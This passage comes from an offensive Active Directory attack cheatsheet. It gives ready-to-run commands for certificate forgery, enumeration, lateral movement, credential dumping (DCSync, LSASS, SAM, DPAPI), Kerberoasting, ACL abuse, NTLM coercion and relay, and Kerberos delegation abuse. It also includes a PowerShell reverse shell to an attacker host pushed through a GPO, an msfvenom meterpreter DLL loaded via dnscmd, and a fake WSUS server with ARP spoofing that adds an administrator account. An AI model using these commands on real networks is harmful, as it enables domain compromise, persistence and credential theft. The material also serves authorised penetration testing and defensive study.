If Enforce Encryption for Requests : Disabled appears on the Certipy CA enumeration output, relay is possible (use this Certipy fork and this Impacket fork for the moment):

ntlmrelayx.py -t "rpc://ca.contoso.local" -rpc-mode ICPR -icpr-ca-name "ca_name" -smb2support

Domain Persistence

Forge certificates with stolen CA certificate - DPERSIST1

With the CA Certificate it is possible to forge any arbitrary certificate. The CA certificate can be extracted on the CA server as presented in the THEFT2 section, it's a certificate without any EKU and a "CA Version" extension. Additionally, the Issuer and the Subject are the CA itself.

Side note: since a forged certificate has not been issued by the CA, it cannot be revoked...

Windows

With the certificate and the private key in PFX format, ForgeCert can be used:

./ForgeCert.exe --CaCertPath ./ca.pfx --CaCertPassword 'Password123!' --Subject "CN=User" --SubjectAltName administrator@contoso.local --NewCertPath ./admin.pfx --NewCertPassword 'Password123!'

Linux

With admin prives on the CA server, Certipy can retrieve the CA certificate and its key:

certipy ca -backup -u 'user@contoso.local' -p 'password' -ca 'ca_name'

Then Certipy can forge the new certificate:

certipy forge -ca-pfx ca.pfx -upn administrator@contoso.local -subject 'CN=Administrator,CN=Users,DC=CONTOSO,DC=LOCAL'

Trusting Rogue CA Certificates - DPERSIST2

The principle is to generate a rogue self-signed CA certificate and add it to the NTAuthCertificates object. Then any forged certificates signed by this rogue certificate will be valid.

With sufficient privileges on the NTAuthCertificates AD object (Enterprise Admins or Domain Admins/Administrator in the root domain), the new certificate can be pushed like this:

certutil.exe -dspublish -f C:\CERT.crt NTAuthCA

Malicious Misconfiguration - DPERSIST3

Similarly to the ESC5, this point covers all the interesting rights that can be set (via DACL for example) to achieve a persistence. For example, setting a WriteOwner right on the User template for the attacker can be interesting. Other targets are worthwhile:

Pass-The-Certificate

PKINIT

With a certificate valid for authentication, it is possible to request a TGT via the PKINIT protocol.

Windows

# Information about a cert file
certutil -v -dump admin.pfx

# From a Base64 PFX
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show

Linux

# Authentication with PFX/P12 file
certipy auth -pfx 'user.pfx' -no-hash

# PEM certificate (file) + PEM private key (file)
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# PFX certificate (file) + password (string, optionnal)
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

Schannel

If PKINIT is not working on the domain, LDAPS can be used to pass the certificate with PassTheCert.

Windows

./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>

#To restore
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --add-computer --computer-name TEST$ --computer-password <password>
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --rbcd --target "CN=DC,OU=Domain Controllers,DC=domain,DC=local" --sid <controlled_computer_SID>
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --reset-password --target "CN=user1,OU=Users,DC=domain,DC=local" --new-password <new_password>

Linux

For RBCD attack

#Create a new computer account
python3 passthecert.py -action add_computer -crt user.crt -key user.key -domain domain.local -dc-ip 10.0.0.1

#Add delegation rights
python3 passthecert.py -action write_rbcd -crt user.crt -key user.key -domain domain.local -dc-ip 10.0.0.1 -port 389 -delegate-to <created_computer> -delegate-from TARGET$

#Impersonation is now possible

References

Microsoft

Active Directory - Python edition

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_.

I will try to put as many links as possible at the end of the page to direct to more complete resources.

Misc

Usernames wordlist

Create a wordlist of usernames from list of Surname Name

Code here

python3 namemash.py users.txt > usernames.txt

Domain Enumeration

Domain Policy

Current domain

#Domain policy with ldeep
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> domain_policy

#Password policy with CME
crackmapexec smb <targets> -u user1 -p password --pass-pol

Another domain

ldeep ldap -u user1 -p password -d domain.local -s <remote_LDAP_server_IP> domain_policy

Domain controller

The DNS is generally on the DC.

nslookup domain.local
crackmapexec smb <DC_IP> -u user1 -p password

Users enumeration

List users

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users

User's properties

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users -v

Search for a particular string in attributes

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users -v |grep -i password

Actively logged users on a machine

Needs local admin rights on the target

crackmapexec smb <target> -u user1 -p password --sessions

User hunting

Find machine where the user has admin privs

If a Pwned connection appears, admin rights are present. However, if the UAC is present it can block the detection.

crackmapexec smb <targets_file> -u user1 -p password

Find local admins on a domain machine

lookupadmins.py

python3 lookupadmins.py domain.local/user1:password@<target_IP>

#CME
crackmapexec smb <targets> -u user1 -p password --local-groups Administrators

Computers enumeration

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines

#Full info
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines -v

#Hostname enumeration
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> computers
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> computers --resolve

Groups enumeration

Groups in the current domain

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups

#Full info
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups -v

Search for a particular string in attributes

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups -v |grep -i admin

All users in a specific group

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> membersof <group> -v

All groups of an user

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> memberships <user_account>

Local groups enumeration

crackmapexec smb <target> -u user1 -p password --local-groups

Members of a local group

crackmapexec smb <target> -u user1 -p password --local-groups <group>

Shares / Files

Find shares on the domain

crackmapexec smb <targets> -u user1 -p password --shares

Find files with a specific pattern

crackmapexec smb <targets> -u user1 -p password --spider <share_name> --content --pattern pass

GPO Enumeration

List of GPO in the domain

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> gpo

Organisation Units

OUs of the domain and their linked GPOs

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> ou

Computers within an OU

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines -v |grep -i "OU=<OU_name>" |grep -i "distinguishedName"

ACLs

All ACLs associated to an object (inbound)

#With samAccountName
dacledit.py -action read -target <target_samAccountName> -dc-ip <DC_IP> domain.local/user1:password

#With DN
dacledit.py -action read -target-dn <target_DN> -dc-ip <DC_IP> domain.local/user1:password

#With SID
dacledit.py -action read -target-sid <target_SID> -dc-ip <DC_IP> domain.local/user1:password

Outbound ACLs of an object

These are the rights a principal has against another object

dacledit.py -action read -target <target_samAccountName> -principal <principal_samAccountName> <-dc-ip <DC_IP> domain.local/user1:password

Trusts

Trusts for the current domain

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts

BloodHound

The Bloodhound-python module doesn't support all the SharpHound features (essentially about GPOs)

DNS resolution

Sometimes the DNS resolution to find the DC doesn't work very well. dnschef can solve this problem:

dnschef --fakeip <DC_IP> --fakedomains domain.local -q

Then, in the BloodHound command specify the DNS address with -ns 127.0.0.1, dnschef will do the work.

Basic usage

# Default collection
bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local --zip

# All collection excepted LoggedOn
bloodhound-python -u user1 -p password -d domain.local -c all -dc DC.domain.local --zip
#With LoggedOn
bloodhound-python -u user1 -p password -d domain.local -c all,LoggedOn -dc DC.domain.local --zip

#Only collect from the DC, doesn't query the computers (more stealthy)
bloodhound-python -u user1 -p password -d domain.local -c DCOnly -dc DC.domain.local --zip

Specify another Global Catalog

bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local -gc <hostname> --zip

Interesting Neo4j queries

Users with SPNs

MATCH (u:User {hasspn:true}) RETURN u

AS-REP Roastable users

MATCH (u:User {dontrepreauth:true}) RETURN u

Computers AllowedToDelegate to other computers

MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) return p

Shortest path from Kerberoastable user

MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

Computers in Unconstrained Delegations

MATCH (c:Computer {unconsraineddelegation:true}) RETURN c

Rights against GPOs

MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]->(gp)) return p

Potential SQL Admins

MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) return p

LAPS

Machine with LAPS enabled

MATCH (c:Computer {haslaps:true}) RETURN c 

Users with read LAPS rights against "LAPS machines"

MATCH p=(g:Group)-[:ReaLAPSPassword]->(c:Computer) return p

Lateral Movement

WinRM

evil-winrm -u user1 -p password -i <target_IP>

evil-winrm permits to open an interactive WinRM session where it is possible to upload and download items between the target and the attacker machine, load PowerShell scripts, etc.

SMB

From one computer to another one

psexec.py domain.local/user1:password@<target>

From one computer to many ones

crackmapexec smb <targets> -u user1 -p password -X <command>

Execute immediat scheduled task

atexec.py domain.local/user1:password@<target> <command>

WMI

wmiexec.py domain.local/user1:password@<target>

ShellBrowserWindow DCOM object

dcomexec.py domain.local/user1:password@<target>

Credentials gathering

Check RunAsPPL

Check if RunAsPPL is enabled in the registry.

crackmapexec smb <target> -u user1 -p password -M runasppl

Dump creds remotely

#Dump SAM database on a machine
crackmapexec smb <target> -u user1 -p password --sam

#Dump LSA secrets on a machine
crackmapexec smb <target> -u user1 -p password --lsa

#Dump the lsass process and parse it
crackmapexec smb <target> -u user1 -p password -M lsassy
crackmapexec smb <target> -u user1 -p password -M nanodump
crackmapexec smb <target> -u user1 -p password -M mimikatz
crackmapexec smb <target> -u user1 -p password -M procdump

#Retrieve Chrome passwords
crackmapexec smb <target> -u user1 -p password -M enum_chrome

#Make a DCSync attack on all the users (NT hashes, Kerberos AES key, etc)
secretsdump.py domain.local/user1:password@<DC>

#DCSync only the NT && LM hashes of a user
secretsdump.py -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/user1:password@<DC>

Extract creds locally

#Extract creds from SAM, SYSTEM and SECURITY
secretsdump.py -system ./system.save -sam ./sam.save -security ./security.save LOCAL

#Extract creds from NTDS.dit
secretsdump.py -ntds ./NTDS.save LOCAL

Credentials Vault & DPAPI

Decipher Vault with Master Key

dpapi.py vault -vcrd <vault_file> -vpol <vault_policy_file> -key <master_key>

Dump all secrets on a remote machine

DonPAPI.py domain.local/user1:password@<target>

Extract the domain backup key with a Domain Admin

dpapi.py backupkeys --export -t domain.local/user1:password@<DC_IP>

Dump all user secrets with the backup key

DonPAPI.py -pvk domain_backupkey.pvk domain.local/user1:password@<targets>

GPPPassword

Find and decrypt Group Policy Preferences passwords.

Get-GPPPassword.py domain.local/user1:password@<target>

#Specific share
Get-GPPPassword.py -share <share> domain.local/user1:password@<target>

Tokens and ADCS

With administrative access to a (or multiple) computer, it is possible to retrieve the different process tokens, impersonate them and request CSRs and PEM certificate for the impersonated users.

masky -d domain.local -u user1 -p <password> -dc-ip <DC_IP> -ca <CA_server_FQDN\CA_name> -o <result_folder> <targets>

Pass The Hash

Globally, all the Impacket tools and the ones that use the library can authenticate via Pass The Hash with the -hashes command line parameter instead of specifying the password. For ldeep, CrackMapExec and evil-winrm, it's -H.

Over Pass The Hash / Pass The Key

Globally, all the Impacket tools and the ones that use the library can authenticate via Pass The Key with the -aesKey command line parameter instead of specifying the password. For CrackMapExec it's --aesKey.

Kerberos authentication

Request a TGT or a ST

getTGT.py -dc-ip <DC_IP> domain.local/user1:password

getST.py -spn "cifs/target.domain.local" -dc-ip <DC_IP> domain.local/user1:password

Use the tickets

Load a kerberos ticket in .ccache format : export KRB5CCNAME=./ticket.ccache

Globally, all the Impacket tools and the ones that use the library can authenticate via Kerberos with the -k -no-pass command line parameter instead of specifying the password. For ldeep and CrackMapExec it's -k. For evil-winrm it's -r <domain> --spn <SPN_prefix> (default 'HTTP'). The realm must be specified in the file /etc/krb5.conf using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }

If the Kerberos ticket is in .kirbi format it can be converted like this:

ticketConverter.py ticket.kirbi ticket.ccache

ADIDNS Poisoning

How to deal with the Active Directory Integrated DNS and redirect the NTLM authentications to us

If the wilcard record (*) doesn't existe, we can create it and all the authentications will arrive on our listener

Wildcard attack

The char * can't be added via DNS protocol because it will break the request. Since we are in an AD we can modify the DNS via LDAP:

# Check if the '*' record exist
python3 dnstool.py -u "domain.local\user1" -p "password" -a query -r "*" <DNS_IP>

# creates a wildcard record
python3 dnstool.py -u "domain.local\user1" -p "password" -a add -r "*" -d <attacker_IP> <DNS_IP>

# disable a node
python3 dnstool.py -u "domain.local\user1" -p "password" -a remove -r "*" <DNS_IP>

# remove a node
python3 dnstool.py -u "domain.local\user1" -p "password" -a ldapdelete -r "*" <DNS_IP>

Feature abuse

WSUS

Spoof the WSUS server and hijack the update if the updates are pushed through HTTP and not HTTPS

#Find the WSUS server with the REG key
reg.py -dc-ip <DC_IP> 'domain.local'/'user1':'password'@server.domain.local query -keyName 'HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver'

#Setup the fake WSUS server
python3.exe pywsus.py --host <network_interface> --port 8530 --executable ./PsExec64.exe --command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup Administrators user1 /add"'

And ARP spoofing with bettercap and a wsus_spoofing.cap like this:

# quick recon of the network
net.probe on

# set the ARP spoofing
set arp.spoof.targets $client_ip
set arp.spoof.internal false
set arp.spoof.fullduplex false

# reroute traffic aimed at the WSUS server
set any.proxy.iface $interface
set any.proxy.protocol TCP
set any.proxy.src_address $WSUS_server_ip
set any.proxy.src_port 8530
set any.proxy.dst_address $attacker_ip
set any.proxy.dst_port 8530

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff

# start the modules
any.proxy on
arp.spoof on
net.sniff on
bettercap --iface <network_interface> --caplet wsus_spoofing.cap

Now wait for update verification or manually trigger with a GUI access on the machine

Pre-Windows 2000 Computers

Everything is explained here.

Domain Privesc

Kerberoast

The Kerberos session ticket (TGS) has a server portion which is encrypted with the password hash of service account. This makes it possible to request a ticket and do offline password attack. Password hashes of service accounts could be used to create Silver tickets.

Find user with SPN

GetUserSPNs.py -dc-ip <DC_IP> domain.local/user1:password

#In another domain through trust
GetUserSPNs.py -dc-ip <DC_IP> -target-domain <target_domain> domain.local/user1:password

Request in JtR/Hashcat format

GetUserSPNs.py -dc-ip <DC_IP> -request -outputfile hash.txt domain.local/user1:password

Force RC4 downgrade even on AES enabled targets to obtain tickets more easy to crack:

pypykatz kerberos spnroast -d domain.local -t <target_user> -e 23 'kerberos+password://domain.local\user1:password@<DC_IP>'

Crack the hash

john hash.txt --wordlist=./rockyou.txt

Kerberoast w/o creds

Without pre-authentication

If a principal can authent without pre-authentication (like AS-REP Roasting), it is possible to use it to launch an AS-REQ request (for a TGT) and trick the request to ask for a ST instead for a kerberoastable principal, by modifying the sname attribut in the req-body part of the request. Full explains here.

This PR must be used for the moment.

GetUserSPNs.py -no-preauth <user_w/o_preauth> -usersfile "users.txt" -dc-host <DC_IP> "domain.local"/

With MitM

If no principal without pre-authentication are present, it is still possible to intercept the AS-REQ requests on the wire (with ARP spoofing for example), and replay them to kerberoast.

ritm -i <attacker_IP> -t <target_IP> -g <gateway_to_spoof> -u users.txt

AS-REP Roasting

Enumerate users

GetNPUsers.py -dc-ip <DC_IP> domain.local/user1:password

Request AS-REP

GetNPUsers.py -dc-ip <DC_IP> -request -format john domain.local/user1:password

Crack the hash

With john or hashcat it could be performed

ACLs Attacks

ACLs packages

On any objects

WriteOwner

With this rights on a user it is possible to become the "owner" (Grant Ownership) of the account and then change our ACLs against it

owneredit.py -new-owner user1 -target user2 -dc-ip <DC_IP> -action write 'domain.local'/'user1':'password'
dacledit.py -action write -target user2 -principal user1 -rights ResetPassword -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'

#And change the password
net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local
WriteDacl

With this rights we can modify our ACLs against the target, and give us GenericAll for example

dacledit.py -action write -target user2 -principal user1 -rights FullControl -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'

On an user

WriteProperty
pywhisker.py -t user2 -a add -u user1 -p password -d domain.local -dc-ip <DC_IP> --filename user2

We can then request a TGS without special privileges. The TGS can then be "Kerberoasted".

GetUserSPNs.py -request-user user2 -dc-ip <DC_IP> domain.local/user1:password

New SPN must be unique in the domain

#Set SPN on all the possible users, request the ticket and delete the SPN
targetedKerberoast.py -u user1 -p password -d domain.local --only-abuse
User-Force-Change-Password

With enough permissions on a user, we can change his password

net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local

On a computer

WriteProperty
pywhisker.py -t computer$ -a add -u user1 -p password -d domain.local -dc-ip <DC_IP> --filename user2
AllExtendedRights
crackmapexec ldap <DC_IP> -u user1 -p password -M laps -o computer="<target>"
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> gmsa

On a group

WriteProperty/AllExtendedRights/GenericWrite Self

With one of this rights we can add a new member to the group

net rpc group addmem <group> user2 -U domain.local/user1%password -S <DC_IP>

On GPO

WriteProperty on a GPO
./pygpoabuse.py domain.local/user1 -hashes lm:nt -gpo-id "<GPO_ID>" -powershell -command "\$client = New-Object System.Net.Sockets.TCPClient('attacker_IP',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" -taskname "The task" -description "Important task" -user
./pygpoabuse.py domain.local/user1 -hashes lm:nt -gpo-id "<GPO_ID>"

On the domain/forest

DS-Replication-Get-Changes + DS-Replication-Get-Changes-All

We can DCSync

Account Operators

The members of this group can add and modify all the non admin users and groups. Since LAPS ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password. They also can manage the Server Operators group members which can authenticate on the DC.

Add user to LAPS groups

net rpc group addmem 'LAPS ADM' user2 -U domain.local/user1%password -S <DC_IP>
net rpc group addmem 'LAPS READ' user2 -U domain.local/user1%password -S <DC_IP>

Read LAPS password

crackmapexec ldap <DC_IP> -u user2 -p password -M laps -o computer="<target>"

DNS Admin

#Generate the DLL
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=1234 -f dll > rev.dll

#On the DNS machine, modify the server conf
crackmapexec smb <target> -u user1 -p password -X "dnscmd.exe /config /serverlevelplugindll \\<share_SMB>\rev.dll"

#### Restart DNS
services.py 'domain.local'/'user1':'password'@<DNS_server> stop dns
services.py 'domain.local'/'user1':'password'@<DNS_server> start dns

Backup Operators

Can normally log in on any machines of the domain.

File system backup

Can backup the entire file system of a machine (DC included) and have full read/write rights on the backup.

To backup a folder content:

crackmapexec smb <target> -u user1 -p password -X "robocopy /B C:\Users\Administrator\Desktop\ C:\tmp\tmp.txt /E"

To backup with Diskshadow + Robocopy:

set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

Registry read rights

The Backup Operators can read all the machines registry

reg.py -dc-ip <DC_IP> 'domain.local'/'backup$':'Password123'@server.domain.local query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon'

GPOs read/write rights

Normally the Backup Operators can read and rights all the domain and DC GPOs with robocopy in backup mode

crackmapexec smb <target> -u user1 -p password -X 'robocopy "C:\tmp" "\\dc.domain.local\SYSVOL\domain.local\Policies\{GPO_ID}\MACHINE\Microsoft\Windows NT\SecEdit" GptTmpl.inf /ZB'

NTLM

Capture, Coerce and Leak NTLM

Different ways to obtain and catch Net-NTLM authentications and retrieve a NTLM response.

Responder

Change the authentication challenge to 1122334455667788 in the Responder conf file in order to obtain an easily crackable hash if NTLMv1 is used.

sed -i 's/ Random/ 1122334455667788/g' Responder/Responder.conf

Catch all the possible hashes on the network (coming via LLMNR, NBT-NS, DNS spoofing, etc):

# Responder with WPAD injection, Proxy-Auth, DHCP, DHCP-DNS and verbose
responder -I interface_to_use -wPdDv

Force NTLM downgrade to NTLMv1 (will break the authentications if v1 is disabled on the machine):

# --disable-ess will disable the SSP, not always usefull
responder -I interface_to_use -wdDv --lm --disable-ess

NTLMv1 response can be cracked on crash.sh.

Leak Files

With write rights on a SMB share, it is possible to drop a .scf file to grab some user hashes:

crackmapexec smb <target> -u user1 -p password -M slinky -o SERVER=<attacker_SMB_share_IP> -o NAME=<file_name>

#To clean
crackmapexec smb <target> -u user1 -p password -M slinky -o CLEANUP=True

MITM6

Spoof DHCPv6 responses. Usefull to combine with NTLM or Kerberos Relay attacks.

mitm6 -i interface_to_use -d domain.local

PetitPotam / PrinterBug / ShadowCoerce / DFSCoerce / CheeseOunce

Exploits to coerce Net-NTLM authentication from a computer. PetitPotam can be used without any credentials if no patch has been installed.

#PetitPotam
./petitpotam.py -u user1 -p password -d domain.local -pipe all <attacker_IP> <target_IP>

#PrinterBug
./dementor.py -u user1 -p password -d domain.local <attacker_IP> <target_IP>

#ShadowCoerce
./shadowcoerce.py -u user1 -p password -d domain.local <attacker_IP> <target_IP>

#DFSCoerce
./dfscoerce.py -u user1 -d domain.local <listener_IP> <target_IP>

#CheeseOunce via MS-EVEN
./cheese.py domain.local/user1:password@<target> <listener_IP>

Multi coerce

Try all the techniques above in one command with this.

coercer.py -u user1 -p password -d domain.local -t <target_IP> -l <attacker_IP>

PrivExchange

Coerce Exchange server authentication via PushSubscription (now patched):

python3 privexchange.py -ah <attacker_IP> <Exchange_server> -u user1 -p password -d domain.local

MSSQL Server

With xp_dirtree.

WebClient Service

If this service runs on the target machine, a SMB authentication can be switched into an HTTP authentication (really useful for NTLM relay).

Check if WebClient is running on machines:

webclientservicescanner domain.local/user1:password@<IP_range>

If yes, coerce the authentication to the port 80 on the attacker IP. To bypass trust zone restriction, the attacker machine must be specified with a valid NETBIOS name and not its IP. the FQDN can be obtained with Responder in Analyze mode.

responder -I interface_to_use -A

#Coerce with PetitPotam for example
./petitpotam.py -u user1 -p password -d domain.local -pipe all "attacker_NETBIOS@80/test.txt" <target_IP>

NTLM Relay

SMB without signing

Create a list of computer without SMB signing:

crackmapexec smb <IP_range> -u user1 -p password --gen-relay-list list.txt

ntlmrelayx

If only SMBv2 is supported, -smb2support can be used. To attempt the remove the MIC if vulnerable, --remove-mic can be used.

Multiple targets can be specified with -tf list.txt.

#With attempt to dump possible GMSA and LAPS passwords, and ADCS templates
ntlmrelayx.py -t ldap://dc --dump-adcs --dump-laps --dump-gmsa --no-da --no-acl
ntlmrelayx.py -t smb://target -socks
ntlmrelayx.py -t mssql://target -socks
ntlmrelayx.py -t smb://target
ntlmrelayx.py -t dcsync://dc

Add an user to Enterprise Admins.

ntlmrelayx.py -t ldap://dc --escalate-user user1 --no-dump
#Create a new computer account through LDAPS
ntlmrelayx.py -t ldaps://dc_IP --add-computer --no-dump --no-da --no-acl

#Create a new computer account through LDAP with StartTLS
ntlmrelayx.py -t ldap://dc_IP --add-computer --no-dump --no-da --no-acl

#Create a new computer account through SMB through the SAMR named pipe (https://github.com/SecureAuthCorp/impacket/pull/1290)
ntlmrelayx.py -t smb://dc_IP --smb-add-computer EVILPC

Kerberos RBCD are detailled in the following delegation

#Create a new computer account through LDAPS and enabled RBCD
ntlmrelayx.py -t ldaps://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Create a new computer account through LDAP with StartTLS and enabled RBCD
ntlmrelayx.py -t ldap://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Doesn't create a new computer account and use an existing one
ntlmrelayx.py -t ldap://dc_IP --escalate-user <controlled_computer> --delegate-access --no-dump --no-da --no-acl
#Attempts to open a socks and write loot likes dumps into a file
ntlmrelayx.py -tf targets.txt -wh attacker.domain.local -6 -l loot.txt -socks

Kerberos Delegations

Kerberos delegations can be used for local privesc, lateral movement or domain privesc. The main purpose of Kerberos delegations is to permit a principal to access a service on behalf of another principal.

There are two main types of delegation:

Unconstrained delegation

Enumerate principals with Unconstrained Delegation

Works for computers and users

findDelegation.py -dc-ip <DC_IP> domain.local/user1:password

#For another domain across trust
findDelegation.py -target-domain <target_domain> domain.local/user1:password

Unconstrained Delegation attack

If we have enough rights against a principal (computer or user) in UD to add a SPN on it and know its password, we can try to use it to retrieve a machine account password from an authentication coercion.

Since the principal is in Unconstrained Delegation, when the machine account will send the ST to the SPN it will automatically add a TGT in it, and because the SPN is pointing to us with the DNS record, we can retrieve the TGS, decipher the ciphered part with the user password (the SPN is setup on the user, so the TGS is ciphered with his password), and retrieve the TGT.

#Add the SPN
python3 addspn.py -u 'domain.local\user1' -p 'password' -s 'HOST/attacker.domain.local' -t 'target.domain.local' --additional <DC_IP>

#Create the DNS record
python3 dnstool.py -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d '<attacker_IP>' --action add <DC_IP>

#Run krbrelayx with the hash of the password of the principal
python3 krbrelayx.py -hashes :2B576ACBE6BCFDA7294D6BD18041B8FE -dc-ip dc.domain.local

#Trigger the coercion
./petitpotam.py -u user1 -p password -d domain.local -pipe all "attacker.domain.local" <target_IP>

Constrained Delegation

In this situation, the computer in delegation has a list of services where it can delegate an authentication. This is controlled by msDS-AllowedToDelegateTo attribute that contains a list of SPNs to which the user tokens can be forwarded. No ticket is stored in LSASS.

To impersonate the user, Service for User (S4U) extension is used which provides two extensions:

Enumerate users and computers with CD enabled

findDelegation.py -dc-ip <DC_IP> domain.local/user1:password

#For another domain across trust
findDelegation.py -target-domain <target_domain> domain.local/user1:password

With protocol transition

Any service can be specified on the target since it is not correctly checked.

getST.py -spn 'cifs/target.domain.local' -impersonate administrator -hashes ':<computer_NThash>' -dc-ip <DC_IP> domain.local/computer
export KRB5CCNAME=./Administrator.ccache

Without protocol transition

In this case, it is not possible to use S4U2self to obtain a forwardable ST for a specific user. This restriction can be bypassed with an RBCD attack detailled in the following section.

Resource-Based Constrained Delegation

Wagging the Dog

With RBCD, this is the resource machine (the machine that receives delegation) which has a list of services that can delegate to it. This list is specified in the attribute msds-allowedtoactonbehalfofotheridentity and the computer can modified its own attribute (really usefull in NTLM relay attack scenario).

Requirements

Enumerate users and computers with RBCD enabled

findDelegation.py -dc-ip <DC_IP> domain.local/user1:password

#For another domain across trust
findDelegation.py -target-domain <target_domain> domain.local/user1:password

#Check the attribute on an account
rbcd.py -action read -delegate-to ServiceB$ domain.local/user1:password

Standard RBCD

The attaker has compromised ServiceA and want to compromise ServiceB. Additionnally he has sufficient rights to configure msds-allowedtoactonbehalfofotheridentity on ServiceB.

#Add RBCD from ServiceA to ServiceB
rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceB$ domain.local/user1:password

#Verify property
rbcd.py -action read -delegate-to ServiceB$ domain.local/user1:password

#Get ServiceA TGT and then S4U
getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes ':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$
export KRB5CCNAME=./Administrator.ccache

With machine account creation

addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -domain-netbios domain.local 'domain.local/user1:password'
rbcd.py -action write -delegate-from ControlledComputer$ -delegate-to ServiceB$ domain.local/ControlledComputer$:ComputerPassword
getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -dc-ip <DC_IP> domain.local/ControlledComputer$:ComputerPassword
export KRB5CCNAME=./Administrator.ccache

Skip S4USelf

NOT TESTED IN MY LAB WITH IMPACKET

getST.py -spn 'cifs/serviceB.domain.local' -additional-ticket ./ticket.ccache -hashes ':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$

Reflective RBCD

With a TGT or the hash of a service account, an attacker can configure a RBCD from the service to itself, and run a full S4U to access to access the machine on behalf of another user.

rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceA$ -k -no-pass domain.local/ServiceA$
getST.py -spn 'cifs/serviceA.domain.local' -impersonate administrator -k -no-pass -dc-ip <DC_IP> domain.local/ServiceA$

Impersonate protected user via S4USelf request

It is possible to impersonate a protected user with the S4USelf request if we have a TGT (or the creds) of the target machine (for example from an Unconstrained Delegation).

With the target TGT it is possible to realise a S4USelf request for any user and obtain a TGS for the service. In case where the needed user is protected against delegation, S4USelf will still work, but the TGS is not forwardable (so no S4UProxy possible) and the specified SPN is invalid...however, the SPN is not in the encrypted part of the ticket. So it is possible to modify the SPN and retrieve a valid TGS for the target service with a sensitive user (and the TGS PAC is well signed by the KDC).

getST.py -self -spn 'cifs/serviceA.domain.local' -impersonate administrator -k -no-pass -dc-ip <DC_IP> domain.local/ServiceA$

Bypass Constrained Delegation restrictions with RBCD

#RBCD from A to B
rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceB$ -hashes ':<ServiceA_NThash>' domain.local/ServiceA$
